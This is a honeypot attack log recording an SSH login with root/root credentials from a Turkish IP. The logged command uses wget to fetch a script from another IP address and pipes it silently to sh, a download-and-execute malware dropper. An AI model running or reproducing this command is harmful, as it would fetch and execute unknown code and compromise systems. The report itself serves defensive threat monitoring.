Attack Report for Observation

Header

Time

2022/11/16, 02:59:09 (GMT)

Transaction ID

XWA0SXWLIWU48LO4

Service

ssh

Location

TR (Turkey)

Attacker

178.242.1.48

Classification

Command execution

Harm Potential

Medium

Description

System command execution attempt

Content

178.242.1.48 client username 'root' and password 'root' entered
178.242.1.48 client command : 'wget -qO - http://147.231.19.62/.x/1sh | sh > /dev/null 2>&1 &'

All observations are coming from honeypot central database.

Please share your wishes, opinions and suggestions with us:

If you like, you can support
with your donations to us..

Donate